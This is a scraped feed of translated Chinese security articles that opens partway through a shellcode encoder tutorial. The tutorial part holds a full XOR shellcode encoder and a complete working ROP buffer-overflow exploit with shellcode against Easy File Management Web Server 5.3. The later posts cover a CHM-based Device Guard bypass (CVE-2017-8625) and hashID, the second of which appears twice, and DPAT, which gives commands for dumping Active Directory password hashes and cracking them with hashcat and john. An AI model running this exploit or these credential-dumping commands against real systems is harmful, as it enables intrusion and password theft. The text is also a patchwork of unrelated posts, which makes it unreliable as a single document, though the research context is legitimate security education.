#!/usr/bin/python #SLAE-Assignment#4:CustomShellcodeEncoder/Decoder #Author:JulienAhrens(@MrTuxracer) #Website:http://www.rcesecurity.com fromrandomimportrandint #poweredbyMetasploit #windows/execCMD=calc.exe #msfvenom-pwindows/execCMD=calc.exe-fpython-egeneric/none #Encoder:Custom shellcode="\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" shellcode+="\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" shellcode+="\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" shellcode+="\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" shellcode+="\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" shellcode+="\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" shellcode+="\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" shellcode+="\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" shellcode+="\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" shellcode+="\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" shellcode+="\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00" shellcode+="\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" shellcode+="\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a" shellcode+="\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" shellcode+="\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" badchars=["\x00","\x0a","\x0d","\x3b"] defxorBytes(byteArray): #Randomizefirstbyte rnd=randint(1,255) xor1=(rnd^byteArray[0]) xor2=(xor1^byteArray[1]) xor3=(xor2^byteArray[2]) xorArray=bytearray() xorArray.append(rnd) xorArray.append(xor1) xorArray.append(xor2) xorArray.append(xor3) returncleanBadChars(byteArray,xorArray,badchars) defcleanBadChars(origArray,payload,badchars): forkinbadchars: #Ooops,BadCharfound:(DoXORstuffagainwithanewrandomvalue #Thiscouldrunintoaninfiniteloopinsomecases ifpayload.find(k)>=0: payload=xorBytes(origArray) returnpayload defencodeShellcode(byteArr): shellcode=bytearray() shellcode.extend(byteArr) encoded=bytearray() tmp=bytearray() final="" #Checkwhethershellcodeisaligned iflen(shellcode)%3==1: shellcode.append(0x90) shellcode.append(0x90) eliflen(shellcode)%3==2: shellcode.append(0x90) #Looptosplitshellcodeinto3-byte-blocks foriinrange(0,len(shellcode),3): tmp_block=bytearray() tmp_block.append(shellcode[i]) tmp_block.append(shellcode[i+1]) tmp_block.append(shellcode[i+2]) #DotheRND-InsertionandchainedXORs tmp=xorBytes(tmp_block) #SomeformattingthingsforeasieruseinNASM:) foryintmp: iflen(str(hex(y)))==3: final+=str(hex(y)[:2])+"0"+str(hex(y)[2:])+"," else: final+=hex(y)+"," returnfinal[:-1] print"EncodedShellcode:\r" printencodeShellcode(shellcode) 从我的脚本的输出结果中,我们完全找不到这些不可用字符的踪影:

【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

添加解码器之后,这段代码的大小稍微增加了一些:


【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

现在,这段shellcode已经可以在我的攻击程序中使用了:

#!/usr/bin/python #ExploitTitle:EasyFileManagementWebServerv5.3-USERIDRemoteBufferOverflow(ROP) #Version:5.3 #Date:2014-05-31 #Author:JulienAhrens(@MrTuxracer) #Homepage:http://www.rcesecurity.com #SoftwareLink:http://www.efssoft.com/ #Testedon:WinXP-GER,Win7x64-GER,Win8-EN,Win8x64-GER #Creditsforvulnerabilitydiscovery: #superkojiman(http://www.exploit-db.com/exploits/33453/) #Howto/Notes: #ThisscriptsexploitsthebufferoverflowvulnerabilitycausedbyanoversizedUserID-stringas #discoveredbysuperkojiman.Incomparisontosuperkojiman'sexploit,thisexploitdoesnot #bruteforcetheaddressoftheoverwrittenstackpart,insteaditusescodefromitsown #.textsegmenttoachievereliablecodeexecution. fromstructimportpack importsocket,sys importos host="192.168.0.1" port=80 junk0="\x90"*80 #Insteadofbruteforcingthestackaddress,let'stakeanaddress #fromthe.textsegment,whichisneartothestackpivotinstruction: #0x1001d89b:{pivot604/0x25c}#POPEDI#POPESI#POPEBP#POPEBX#ADDESP,24C#RETN[ImageLoad.dll] #Thememorylocatedat0x1001D8F0:"\x7A\xD8\x01\x10"doesthejob! #Duetocalldwordptr[edx+28h]:0x1001D8F0-28h=0x1001D8C8 call_edx=pack('<L',0x1001D8C8) junk1="\x90"*280 ppr=pack('<L',0x10010101)#POPEBX#POPECX#RETN[ImageLoad.dll] #Since0x00wouldbreaktheexploit,the0x00457452(JMPESP[fmws.exe])needstobecraftedonthestack craftedjmpesp=pack('<L',0xA445ABCF) test_bl=pack('<L',0x10010125)#contains00000000topasstheJNZinstruction kungfu=pack('<L',0x10022aac)#MOVEAX,EBX#POPESI#POPEBX#RETN[ImageLoad.dll]kungfu+=pack('<L',0xDEADBEEF)#filler kungfu+=pack('<L',0xDEADBEEF)#filler kungfu+=pack('<L',0x1001a187)#ADDEAX,5BFFC883#RETN[ImageLoad.dll]#finishcraftingJMPESP kungfu+=pack('<L',0x1002466d)#PUSHEAX#RETN[ImageLoad.dll] nopsled="\x90"*20 #windows/execCMD=calc.exe #Encoder:x86/shikataganai #poweredbyMetasploit #msfpayloadwindows/execCMD=calc.exeR|msfencode-b'\x00\x0a\x0d' shellcode=("\xeb\x2a\x5e\x56\x89\xf7\x31\xc9\x31\xd2\x8a\x06\x8a\x5e\x01\x30\xd8\x88\x07\x47\x46\x41\x80\xf9\x03\x75\xef\x46\x31\xc9\x66\x83\xc2\x04\x66\x81\xfa\x04\x01\x75\xe1\xff\x14\x24\xe8\xd1\xff\xff\xff\xb6\x4a\xa2\x20\xfd\xfd\xfd\xfd\xad\xcd\x44\xa1\xc2\xf3\x33\x57\x6d\xe6\xb6\x86\xff\x74\x26\x2a\x41\xca\x98\x8c\x75\xfe\x8c\xa4\x37\x38\x8f\xc5\x29\x0f\x3e\xc1\x69\xc5\xf9\x98\x5d\x21\x23\x0f\x93\xb3\x72\xbd\x3c\x31\x30\xf7\x8f\x6d\x9f\xcd\x33\x64\xef\xbd\x69\x79\xf2\xb8\x2e\x12\x99\xd5\x89\x98\xe0\x03\x50\x18\x19\xc8\x80\xd1\x5a\x03\x92\xb2\xb3\x60\x04\x8f\xc6\xde\xc4\x27\x1d\x54\xf5\x7e\x4a\xc1\xc7\xc6\x10\x21\x33\xcc\x60\xa1\x20\xef\xe2\xe3\x08\xcf\xf7\x17\x46\x33\xc5\xc6\xc5\xb8\x40\x7b\x4e\x33\x17\x62\xdc\x38\x60\xeb\xaa\xf2\xd6\xd7\x61\xb2\xd4\x5f\xe0\xec\xa7\x2c\x60\x38\x24\x25\x01\xd2\x59\x5d\x4a\xc1\xc0\x10\x7f\xf6\xb2\x96\xab\x8f\xd4\x8f\xe6\x87\xde\x84\x7b\x2a\xd5\x35\xbe\xe1\xbe\xe4\x32\xb9\xab\x40\x95\x18\x45\x2f\xf3\xf2\x7f\xfa\x07\xb5\xb5\xb5\xe3\xe3\xb3\xdb\xfe\xcf\x44\x2b\xca\x4d\xb2\x67\xae\x15\xe5\x50\xea\x48\x1e\x76\xae\x08\x9d\x20\x81\x1c\xe3\x36\x29\x15\x13\x6f\x24\x2e\xae\x55\x55\xb5\xc0\xc5\x66\xdd\x9a\x89\x6b\x19\x76\x1c\x0f\x0f\x5c\xa3\xb3\x66\x05\x64\x40\x2c\x4f\x61\xa4\xc1\xb9\xdc\xc8\xc8\x58\xc8") payload=junk0+calledx+junk1+ppr+craftedjmpesp+testbl+kungfu+nopsled+shellcode buf="GET/vfolder.ghpHTTP/1.1\r\n" buf+="User-Agent:Mozilla/4.0\r\n" buf+="Host:"+host+":"+str(port)+"\r\n" buf+="Accept:text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\n"buf+="Accept-Language:en-us\r\n" buf+="Accept-Encoding:gzip,deflate\r\n"buf+="Referer:http://"+host+"/\r\n" buf+="Cookie:SESSIONID=1337;UserID="+payload+";PassWD=;\r\n" buf+="Conection:Keep-Alive\r\n\r\n" print"[*]ConnectingtoHost"+host+"..." s=socket.socket(socket.AFINET,socket.SOCKSTREAM) try: connect=s.connect((host,port)) print"[*]Connectedto"+host+"!" except: print"[!]"+host+"didn'trespond\n" sys.exit(0) print"[*]Sendingmalformedrequest..."s.send(buf) print"[!]Exploithasbeensent!\n"s.close() 你可以使用Immunity Debugger来跟踪shellcode的解码过程。首先,ESI会再次指向编码后的shellcode:

【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器
当“call [esp]”处执行真正的shellcode时,我们可以看到ESP指向的是原始的、解码后的shellcode:
【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

最后,Easy File Management Webserver中会弹出一个calc.exe窗口。


【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器

因此,我们顺利完成了另一个SLAE任务!

我之所以写这篇文章,是为了完成SecurityTube Linux汇编专家认证的任务,这个任务链接如下:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

对应的Student ID为SLAE- 497。



【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器
【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.rcesecurity.com/2015/01/slae-custom-rbix-shellcode-encoder-decoder

【工具分享】用于取代hash-identifier的hash识别工具hashID

$
0
0
【工具分享】用于取代hash-identifier的hash识别工具hashID

2017-08-24 16:53:51

阅读:241次
点赞(0)
收藏
来源: github.com





【工具分享】用于取代hash-identifier的hash识别工具hashID

作者:77caikiki





【工具分享】用于取代hash-identifier的hash识别工具hashID

简介

这个工具是用来代替hash-identifier的,因为hash-identifier已经过时啦!

hashID是用python3写成,它通过正则表达式可识别220多种hash类型。可识别的hash详情列表可以点这里。

hashID不仅可识别单个hash,还可解析单个文件中的hash,或者某目录下的多个文件中的hash。同时hashID还支持hashcat模式和JohnTheRipper格式输出。


安装方法

pip

hashID还可以通过PyPi安装,升级,卸载。

$pipinstallhashid $pipinstall--upgradehashid $pipuninstallhashid

hashID在支持Python 2 ≥ 2.7.x 或者 Python 3 ≥ 3.3的平台都可以轻松上手!

git clone

你还可以通过clone这个repository来安装

$sudoapt-getinstallpython3git $gitclonehttps://github.com/psypanda/hashid.git $cdhashid $sudoinstall-g0-o0-m0644doc/man/hashid.7/usr/share/man/man7/ $sudogzip/usr/share/man/man7/hashid.7

使用方法

$./hashid.py[-h][-e][-m][-j][-oFILE][--version]INPUT $./hashid.py'$P$8ohUJ.1sdFw09/bMaAQPTGDNi2BIUt1' Analyzing'$P$8ohUJ.1sdFw09/bMaAQPTGDNi2BIUt1' [+]Wordpress≥v2.6.2 [+]Joomla≥v2.5.18 [+]phpass'PortableHash $./hashid.py-mj'$racf$*AAAAAAAA*3c44ee7f409c9a9b' Analyzing'$racf$*AAAAAAAA*3c44ee7f409c9a9b' [+]RACF[HashcatMode:8500][JtRFormat:racf] $./hashid.pyhashes.txt --File'hashes.txt'-- Analyzing'*85ADE5DDF71E348162894C71D73324C043838751' [+]mysql5.x [+]MySQL4.1 Analyzing'$2a$08$VPzNKPAY60FsAbnq.c.h5.XTCZtC1z.j3hnlDFGImN9FcpfR1QnLq' [+]Blowfish(OpenBSD) [+]WoltlabBurningBoard4.x [+]bcrypt --Endoffile'hashes.txt'--

相关资料

http://pythonhosted.org/passlib/index.html

http://openwall.info/wiki/john

http://openwall.info/wiki/john/sample-hashes

http://hashcat.net/wiki/doku.php?id=example_hashes


相关推荐

另外还有一款在线的hash识别工具也不错哦。在没有命令行环境的时候,打开浏览器就可以用。

https://www.onlinehashcrack.com/hash-identification.php



【工具分享】用于取代hash-identifier的hash识别工具hashID
【工具分享】用于取代hash-identifier的hash识别工具hashID
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://github.com/psypanda/hashID

【技术分享】CVE-2017-8625:使用自定义CHM文件绕过Windows 10的Device Guard

$
0
0
【技术分享】CVE-2017-8625:使用自定义CHM文件绕过windows 10的Device Guard

2017-08-24 14:50:11

阅读:1130次
点赞(0)
收藏
来源: msitpros.com





【技术分享】CVE-2017-8625:使用自定义CHM文件绕过Windows 10的Device Guard

作者:blueSky





【技术分享】CVE-2017-8625:使用自定义CHM文件绕过Windows 10的Device Guard

译者:blueSky

预估稿费:160RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


Device Guard是什么?

Device Guard将 Windows 10 操作系统限制为仅运行由受信任的签署人签名的应用程序,该功能有助于抵御0day攻击,并且还能有效地应对多态病毒的挑战。它是硬件和软件安全功能的结合,当两者一起配置时,Windows将锁定设备,以使其只能运行受信任的应用程序。如果系统中的应用程序不受信任,则该应用程序将无法运行。在现实情况中,即使攻击者能够获取到Windows内核的控制权,由于设备保护能够对何时可以运行哪些可信任的应用程序具有严格的决策权,因此在计算机重新启动后,恶意软件运行的可能性也将大幅降低。


如何绕过Device Guard?

你可以通过自定义CHM文件来绕过Device Guard UMCI (用户模式代码完整性)并执行任意不可信的代码。

在过去6个月的时间里,出于兴趣的使然,我利用业余时间对如何绕过Device Guard进行了一些安全研究。在此期间,我很幸运地找到了另一个有效绕过设备保护 UMCI的方法,并将该安全漏洞报告给了微软安全应急响应中心(secure@microsoft.com)。

在与微软应急响应中心的安全研究人员进行沟通之后得知:在此之前,这个安全漏洞已经被另一个安全研究人员发现,不过令我十分兴奋的是,我上报的这个安全漏洞将以我的名字命名并被收录到CVE(公共漏洞库)中。微软应急响应中心的安全研究人员们并不知道另一位研究人员是谁,但是Matt Graeber知道:另一位研究员是马特纳尔逊,他在之前就已经发现这个绕过Device Guard UMCI的安全漏洞了,这个家伙真的很厉害。

在这篇博文中,我将阐述我是如何发现这个安全漏洞的以及跟这个安全漏洞相关的一些PoC代码。由于我不是一个资深的逆向工程师,所以在这篇博文中,我将不会对微软针对该安全漏洞发布的补丁进行逆向分析,而是专注于阐述我是如何发现这个安全漏洞的。

对我来说,我经常在Windows系统以及system32文件夹中查找一些二进制文件来进行研究和分析,这样做的目的是希望可以发现一些新的、有趣的东西去研究和分析。果然,在某些文件夹中,我发现了一个名为hh.exe的二进制文件。接着,我在命令行里运行“hh.exe /?”这个命令,通过情况下,运行这条命令要么会得到一些关于该命令的帮助信息,要么就是一些错误信息。但是,当我在运行上述那条命令的时候,上述两种情况都没有发生,我得到了如下图所示的结果:


【技术分享】CVE-2017-8625:使用自定义CHM文件绕过Windows 10的Device Guard

上面这张图片触发了我对hh.exe这个程序的好奇心,这个小技巧在最新的Windows 10操作系统中仍然适用,我猜我们如果需要在一个锁定的系统环境(终端服务器等)中打开一个资源管理器,我们可以通过运行“hh.exe c:\”这条命令来做到这一点。

在尝试了很多不同的操作后,我意识到我们也可以通过hh.exe浏览互联网。只需要在命令行中输入

hh.exe"http://www.google.com"

就可以做到这一点。(以下测试仍然在最新的Windows 10操作系统中进行)执行上述命令后,我得到了如下图所示的结果:


【技术分享】CVE-2017-8625:使用自定义CHM文件绕过Windows 10的Device Guard

在所有的尝试操作之后,第一件令我想到的就是去检查hh.exe这个进程的完整性等级,结果如下图所示:


【技术分享】CVE-2017-8625:使用自定义CHM文件绕过Windows 10的Device Guard

正如上图所示,在我的系统中,通过hh.exe打开的浏览器是以中等完整性模式运行的,而通过普通方式打开的iexplore进程运则是以低级完整性模式运行,针对我们现在发现的有关hh.exe这个程序相关的信息使得我们有更多的工作需要去研究。

尝试了很多不同的方法后,我想我应该去创建一个包含有某些代码的自定义帮助文件,因为hh.exe这个应用程序主要用于显示帮助文件。我在网上搜索了与创建自定义帮助文件相关的开源项目,并在下面这篇文章中找到了解决方法:

https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1

要运行此脚本,我必须首先下载并安装“HTML Help Workshop and Documentation”,下载链接如下所示:

http://www.microsoft.com/en-us/download/details.aspx?id=21138

我最终创建了我自己的脚本程序,因为我只想证明我的PoC的正确性并试图弹出一个计算器,所以在PoC脚本里我没有去做其他的一些操作。我的PoC脚本可以在这里找到:

https://gist.githubusercontent.com/api0cradle/95ae3c7120f16255d94088bd8959f4b2/raw/fa25b85e85bbb64c5cf021adf92b125357086a6f/GenerateCHM_1.0.ps1

此脚本生成一个简单的自定义的CHM文件,并通过ActiveX启动Calc.exe,不过除了弹出计算器程序之外,或者可以有更有意思的事情可以做,例如,运行Cn33liz StarFighters以获取Empire 代理:https://github.com/Cn33liz/StarFighters/

下图所示的是我的PoC脚本中的部分代码截图:


【技术分享】CVE-2017-8625:使用自定义CHM文件绕过Windows 10的Device Guard

下面这个gif显示了绕过Device Guard相关的一些操作:


【技术分享】CVE-2017-8625:使用自定义CHM文件绕过Windows 10的Device Guard

微软在Windows 10 Creators更新版v1703(又叫Redstone 2)中已解决此问题,或者如果要在旧版本的Windows 10上进行修补,可以通过下面这个链接下载补丁包:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625

之后,我将机器更新到Windows 10的v1703,当我尝试运行自定义的CHM文件时,我的系统中得到了如下图所示的报错信息:


【技术分享】CVE-2017-8625:使用自定义CHM文件绕过Windows 10的Device Guard

总结

希望这篇博文能够启发你去进行自己的安全研究,以使得Windows更安全。如果你有兴趣了解有关Device Guard的更多信息,我建议你阅读Microsoft官方文档和Matt Graeber的一些博客:

https://docs.microsoft.com/en-us/windows/device-security/device-guard/device-guard-deployment-guide

http://www.exploit-monday.com/2016/09/introduction-to-windows-device-guard.html

http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html

http://www.exploit-monday.com/2016/10/code-integrity-policy-reference.html

http://www.exploit-monday.com/2016/11/code-integrity-policy-audit-methodology.html

http://www.exploit-monday.com/2016/11/Effectiveness-of-Device-Guard-UMCI.html

http://www.exploit-monday.com/2016/12/updating-device-guard-code-integrity.html



【技术分享】CVE-2017-8625:使用自定义CHM文件绕过Windows 10的Device Guard
【技术分享】CVE-2017-8625:使用自定义CHM文件绕过Windows 10的Device Guard
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://msitpros.com/?p=3909

【工具分享】hash算法自动识别工具hashID

$
0
0
【工具分享】hash算法自动识别工具hashID

2017-08-24 16:53:51

阅读:791次
点赞(0)
收藏
来源: github.com





【工具分享】hash算法自动识别工具hashID

作者:77caikiki





【工具分享】hash算法自动识别工具hashID

简介

这个工具是用来代替hash-identifier的,因为hash-identifier已经过时啦!

hashID是用python3写成,它通过正则表达式可识别220多种hash类型。可识别的hash详情列表可以点这里。

hashID不仅可识别单个hash,还可解析单个文件中的hash,或者某目录下的多个文件中的hash。同时hashID还支持hashcat模式和JohnTheRipper格式输出。


安装方法

pip

hashID还可以通过PyPi安装,升级,卸载。

$pipinstallhashid $pipinstall--upgradehashid $pipuninstallhashid

hashID在支持Python 2 ≥ 2.7.x 或者 Python 3 ≥ 3.3的平台都可以轻松上手!

git clone

你还可以通过clone这个repository来安装

$sudoapt-getinstallpython3git $gitclonehttps://github.com/psypanda/hashid.git $cdhashid $sudoinstall-g0-o0-m0644doc/man/hashid.7/usr/share/man/man7/ $sudogzip/usr/share/man/man7/hashid.7

使用方法

$./hashid.py[-h][-e][-m][-j][-oFILE][--version]INPUT
【工具分享】hash算法自动识别工具hashID
$./hashid.py'$P$8ohUJ.1sdFw09/bMaAQPTGDNi2BIUt1' Analyzing'$P$8ohUJ.1sdFw09/bMaAQPTGDNi2BIUt1' [+]Wordpress≥v2.6.2 [+]Joomla≥v2.5.18 [+]phpass'PortableHash $./hashid.py-mj'$racf$*AAAAAAAA*3c44ee7f409c9a9b' Analyzing'$racf$*AAAAAAAA*3c44ee7f409c9a9b' [+]RACF[HashcatMode:8500][JtRFormat:racf] $./hashid.pyhashes.txt --File'hashes.txt'-- Analyzing'*85ADE5DDF71E348162894C71D73324C043838751' [+]mysql5.x [+]MySQL4.1 Analyzing'$2a$08$VPzNKPAY60FsAbnq.c.h5.XTCZtC1z.j3hnlDFGImN9FcpfR1QnLq' [+]Blowfish(OpenBSD) [+]WoltlabBurningBoard4.x [+]bcrypt --Endoffile'hashes.txt'--

相关资料

http://pythonhosted.org/passlib/index.html

http://openwall.info/wiki/john

http://openwall.info/wiki/john/sample-hashes

http://hashcat.net/wiki/doku.php?id=example_hashes


相关推荐

另外还有一款在线的hash识别工具也不错哦。在没有命令行环境的时候,打开浏览器就可以用。

https://www.onlinehashcrack.com/hash-identification.php



【工具分享】hash算法自动识别工具hashID
【工具分享】hash算法自动识别工具hashID
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://github.com/psypanda/hashID

【安全科普】你的机器究竟在学什么?

$
0
0
【安全科普】你的机器究竟在学什么?

2017-08-25 10:20:07

阅读:277次
点赞(0)
收藏
来源: securityweek.com





【安全科普】你的机器究竟在学什么?

作者:360代码卫士





【安全科普】你的机器究竟在学什么?

翻译:360代码卫士

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


机器学习或者说所谓的人工智能风头正劲

人们说我们将进入一个全新的世界,我们都将凭借数字化实现所有的梦想。另外,它承诺将辞退烦人的员工以及他们的肉身需求和期望。很遗憾,这只不过是又一次大肆宣扬式营销的过度承诺。事实上,更加残酷的真相是,人工智能 (AI) 就像是在马戏团中跳舞的狗熊。我们并不是因为狗熊跳舞跳得好而兴高采烈,而是因为狗熊竟然跳舞了。

要理解这一点,高德纳最近将每家公司都假装是一家AI公司的这种疯狂比作是“漂绿”——每家公司都自我标榜为具有环境意识和环境友好的公司。如果你看了高德纳发布的《新兴技术炒作周期》报告就会知道,机器学习正处于“过热期”的顶峰。熟悉高德纳这份报告的人都知道,过热期之后就是“幻灭期”。而所有熟悉AI历史的人都知道,我们之前曾经历过这一切,而且是经历多次。每一次,AI都无法兑现诺言而且因为缺乏资金支持而多次经历失去的几十年。我们现在正处于第五个AI时代。

当然,这并不是说当前的一大波机器学习技术没有给我们带来任何裨益。我们这样讲是为了理解机器学习更适合于解决哪些问题以及它的局限性在哪里。遗憾的是,要理解这一点需要一名数学或物理博士或者说AI博士才能搞清楚。如果你是其中一员,那么恭喜你,你可能会在咨询行业中投资领域中拥有一个职业机会。

对于我们其他人而言,我们可以咨询吹捧自家机器学习能力的厂商一些基本的问题来判断他们是真的理解机器在学习一些有用的东西,还是在浪费CPU周期只为了看起来很酷?


你的机器在学习什么?

这个问题看似显而易见,但你会吃惊于有那么多厂商在努力地给出一个合乎逻辑的答案。首先,它真的在学习东西吗?之所以这么说是因为我(指作者)在高德纳工作时发现很多厂商误将更基础的分析和计算方法如数据分析或关联营销称机器学习。第二,如果它确实在学习东西,那么是如何记住所需东西并且它是如何重播所学东西的。


从哪里学习?

它是在实验室还是你的环境中学习?在实验室学习意味着学习模型或分析不会基于你独特的资料如数据、基础设施或环境;它还意味着机器不会自动意识到或者适应在专为你分析的数据中产生的变化。在你的环境中学习意味着机器和所产生的模型或分析会基于你具体的环境而且学着适应于你的组织机构。


【安全科普】你的机器究竟在学什么?

如果是集合了两者,则是完全可以接受的。机器学习能解决的某些问题由多个组件组成,例如首次学着理解如何检测攻击,然后从你的环境中学习来设置一个正常的基线。但是只在实验室中学习存在两种内在弱点——除非它是一种非常具体和狭窄的问题(例如识别猫),它会很艰难地处理真实世界书局的多样性和复杂性,而且你对它所学到的东西几乎没有什么控制和洞见,将其变为一个黑匣子,你无法评估其中的输入。

这个问题还有另外一个考量面。它是在你的环境中就地学习还是它把数据发送到云中学习?


如何学习?

所有声称涉及机器学习的厂商都应该能够提供一份他们所遵循的机器学习方式的高级概览。这里的关键字是“受监控的”、“未受监控的”、“增强型的”以及高级算法说明。如果他们无法通过一张漂亮的速查表确定这一点,那么我建议你避而远之。了解厂商所使用的方式在最好的情况下能进行进一步的研究和评估这是否是正在试图解决的问题的正确算法,在最糟糕的情况下它显示出厂商至少知道他们自己的机器学习在做什么。


【安全科普】你的机器究竟在学什么?

某些厂商可能会对这个问题避而远之,他们的借口是“这是专利/商业机密”。这种借口毫无意义,毕竟所问的并非算法执行的详细数学细节。我从未见过发明一种新的之前未曾出现过的方法。认真可信的厂商会告诉你答案。很多厂商不过是采用了现成算法并实现了跟那些宣称超自然的特有的实现方法的相似结果。如果有人说已对已有方法做出改进,那就问问他是如何实现的。


为何学习?

为什么会学习某种具体的数据?为何会采用某种具体方法?可以应用很多种不同的算法和方式。比如,集群分析会基于相似属性对某组对象进行归类,因此它可用于自动识别具有相似功能或配置的组或主机或用户,并且能够判断这些组之间的区别。

任何厂商都应该能够解释为何他们会选择某种具体的方法,以及为何他们会选A而非B。他们可能更偏好于准确性而非速度,反之亦然;而且他们应该能够解释为何准确性没那么重要或者说将速度排在更优先的级别。


解决了什么问题?

当然,这个问题价值百万。下面是一些简单的标准:

它解决的问题如果使用不太复杂的方法解决不了吗?或者说用其它方法解决可行性低或者效率低?

这个问题起着重要作用,而且旨在识别无谓的机器学习。最好的例子就是很多UEBA厂商都在炫耀的东西即识别出用户是否同时在不同的地方登陆。这个问题其实并不需要机器学习也能解决。简单的关联就足够了:用户A使用IP-Address X和Y访问系统Z,而一些SIEM多年前就能够做到这一点。

更重要的是,它是否解决了多个问题?还是说它不过是“雨人(本意是罹患自闭症但在某方面具有天才的人群)”式的机器学习。从金钱成本、时间、投入精力和基础架构方面考虑,看它解决的是单一问题(这个问题最好是个重大问题)如治疗癌症。

一般来说,我的建议是对厂商的营销保持谨慎态度。世界上并不存在机器学习厂商而只存在将机器学习用于解决具体问题的厂商。用户实体行为分析很好地说明了整个市场如何以在解决某个具体用例中使用的方法被错误地命名而不是以用例本身命名。这就导致了很多困惑的产生而且它应当作为营销人员应该学习的经验教训。你能够解决事件响应、高阶威胁检测、使用机器学习实施追捕和调查的方方面面。如果不应用于具体的问题中,机器学习本身不会解决任何问题




【安全科普】你的机器究竟在学什么?
【安全科普】你的机器究竟在学什么?
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://www.securityweek.com/what-does-your-machine-actually-learn

【工具分享】DPAT:域密码导出可用于Hashcat破解

$
0
0
【工具分享】DPAT:域密码导出可用于Hashcat破解

2017-08-25 11:04:18

阅读:769次
点赞(0)
收藏
来源: github.com





【工具分享】DPAT:域密码导出可用于Hashcat破解

作者:77caikiki





【工具分享】DPAT:域密码导出可用于Hashcat破解

简介

这个工具其实就是一个python脚本,它搜集在密码破解的过程中从域控dump出的密码hash,还有从由oclHashcat工具生成的oclHashcat.pot密码破解文件中的信息。它生成的报告是一个包含一些链接的HTML文件。


【工具分享】DPAT:域密码导出可用于Hashcat破解

完整的视频tutorial和demo可以戳下面这个视频:

你可以这样运行这个python脚本:
dpat.py -n customer.ntds -c oclHashcat.pot -g "Domain Admins.txt" "Enterprise Admins.txt"

注意末尾的-g "Domain Admins.txt "Enterprise Admins.txt"是可选的。你可以使用项目中的sample_data 目录中的sample文件试一下这个功能。sample数据都是从著名的rockyou字典文件中提取的姓、名以及密码。

customer.ntds文件内容应该是这样的格式:

domain\username:RID:lmhash:nthash:::

你可以在域控管理员的命令行中执行以下命令,然后dump出密码hash,然后就可以得到这个文件了。不过得保证你有足够的存储空间存储输出在c:\temp 目录下的文件。因为需要的存储空间量可能比当前的ntds.dit文件略微大一些,因为这个命令会备份ntds.dit文件而且还要添加一些设置信息。

ntdsutil "ac in ntds" "ifm" "cr fu c:\temp" q q

还可以用secretsdump.py这个工具转换一下输出的格式。

secretsdump.py -system registry/SYSTEM -ntds Active\ Directory/ntds.dit LOCAL -outputfile customer

以上命令会生成一个customer.ntds 文件,然后你就可以用本文这个dpat.py工具来破解密码啦!

你的oclHashcat文件格式应该是这样的(其实就是oclHashcat的默认输出格式):
nthash:password 对于LM Hash就是
lmhashLeftOrRight:leftOrRightHalfPasswordUpcased

DPAT工具还支持来自JohnTheRipper的输出(格式跟oclHashcat.pot差不多,只是加了$NT$和$LM$)。

可选的"-g"选项后面跟的是多个文件列表,其内容为特定组(比如"Enterprise Admins" 或者 "Domain Admins")中的用户列表。这个文件的格式可以就是PowerView PowerShell脚本 生成的文件格式。

Get-NetGroupMember -Recurse -GroupName "Domain Admins" > "Domain Admins.txt"

或者你还可以用以下命令从其他域读取组(注意其他域和域控的名字可以通过Get-NetForestDomain得到)。

Get-NetGroupMember -Recurse -GroupName "Enterprise Admins" -Domain "some.domain.com" -DomainController "DC01.some.domain.com" > "Enterprise Admins.txt"

或者组文件内容可以直接就是用户列表,一行一个。格式如下:

domain\username

此外,DPAT工具还有一个实用的功能,它可以在NT hash未被破解的情况下破解LM hash。当然前提是你已经用oclHashcat破解了所有的7个字符密码。

./oclHashcat64.bin -m 3000 -a 3 customer.ntds -1 ?a ?1?1?1?1?1?1?1 --increment

或者用JohnTheRipper破解LM hash

john --format=LM customer.ntds

查看所有DPAT的选项可以用-h 和 --help 选项。

usage: dpat.py [-h] -n NTDSFILE -c CRACKFILE [-o OUTPUTFILE] [-d REPORTDIRECTORY] [-w] [-s] [-g [GROUPLISTS [GROUPLISTS ...]]] 这个脚本会根据NTDS文件以及从密码破解工具(如oclHashcat)的输出中提取出来的内容进行域密码审计。 可用选项如下:
【工具分享】DPAT:域密码导出可用于Hashcat破解

赞助来自

Black Hills Information Security


【工具分享】DPAT:域密码导出可用于Hashcat破解
【工具分享】DPAT:域密码导出可用于Hashcat破解
